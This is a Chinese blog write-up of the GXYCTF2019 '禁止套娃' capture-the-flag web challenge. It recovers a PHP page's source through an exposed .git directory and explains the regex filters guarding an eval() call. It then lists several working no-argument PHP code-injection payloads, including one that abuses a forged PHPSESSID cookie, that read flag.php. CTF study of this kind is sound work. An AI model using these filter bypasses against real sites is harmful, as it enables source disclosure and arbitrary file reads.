[GXYCTF2019]禁止套娃1 不会编程的崽的博客

这个题重点在于无参数绕过

首先来看一下这个界面

[GXYCTF2019]禁止套娃1 不会编程的崽的博客_第1张图片
 

查看源代码,目录文件扫描以及抓包都没什么有价值的信息。但是web题如果没有什么功能页面,一定有什么提示。若提示也没有,一般就泄露了文件或者源码等。这题就是源码泄露 。使用GitHack。下载地址如下:https://github.com/lijiejie/GitHack

[GXYCTF2019]禁止套娃1 不会编程的崽的博客_第2张图片

python2 GitHack.py http://你的靶机地址/.git

打开index的源码

";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

很明显,源码存在三层过滤。

1.第一层,过滤了伪协议,这里不考虑伪协议使用

2.正则表达式,/[a-z,_]+\((?R)?\)/

   [a-z,_]:匹配字符与下划线

   +:可匹配前一个表达式多次

   (?R):整个表达式迭代匹配

 (?R)?:允许"()"内出现1个或0个   比如:c(a()b()),c(a())

    所以这个正则表达式含义是匹配var_dump(scandir())这种无参数命令执行

3.过滤了一些函数

4.无参数绕过一些使用函数

   scandir() :将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前       目录下的所有文件和目录名称(glob()可替换)
   localeconv() :返回一包含本地数字及货币格式信息的数组。(但是这里数组第一项就是‘.’,         这个.的用处很大)
   current() :返回数组中的单元,默认取第一个值。pos()和current()是同一个东西
   getcwd() :取得当前工作目录
   dirname():函数返回路径中的目录部分
   array_flip() :交换数组中的键和值,成功时返回交换后的数组
   array_rand() :从数组中随机取出一个或多个单元
   array_reverse():将数组内容反转
   strrev():用于反转给定字符串
   getcwd():获取当前工作目录路径
   dirname() :函数返回路径中的目录部分。
   chdir() :函数改变当前的目录。
   end() : 将内部指针指向数组中的最后一个元素,并输出
   next() :将内部指针指向数组中的下一个元素,并输出
   prev() :将内部指针指向数组中的上一个元素,并输出
   reset() : 将内部指针指向数组中的第一个元素,并输出
   each() : 返回当前元素的键名和键值,并将内部指针向前移动

注意以上4点之后,就可以构造payload。先查看目录下的文件

scandir('.')是返回当前目录,虽然我们无法传参,但是由于localeconv() 返回的数组第一个就是‘.’,current()取第一个值,那么current(localeconv())就能构造一个‘.’,那么以下就是一个简单的返回查看

?exp=var_dump(scandir(current(localeconv())));

[GXYCTF2019]禁止套娃1 不会编程的崽的博客_第3张图片  

查看到flag.php在当先数组的第4个位置,所以需要移动指针

 end(),next() ,prev() ,reset()  ,each()好像不能重复套娃。所以有以下两种payload

1.  因为flag在倒数第二个位置,所以反转数组,在移动指针到下一个即可

?exp=var_dump(show_source(next(array_reverse(scandir(current(localeconv()))))));

[GXYCTF2019]禁止套娃1 不会编程的崽的博客_第4张图片

2. 也可以靠运气,使用array_rand随机打开

?exp=var_dump(show_source(array_rand(array_flip(scandir(current(localeconv()))))));

[GXYCTF2019]禁止套娃1 不会编程的崽的博客_第5张图片

3.session_id。session_id() 可以用来获取/设置 当前会话 ID。使用 session_id()的时候,需要使用       session_start()来开启session会话 。构造数据包

?exp=highlight_file(session_id(session_start()));
Cookie:PHPSESSID=flag.php

[GXYCTF2019]禁止套娃1 不会编程的崽的博客_第6张图片 

 结束,还是学废了小知识

你可能感兴趣的:(web安全,网络安全,安全)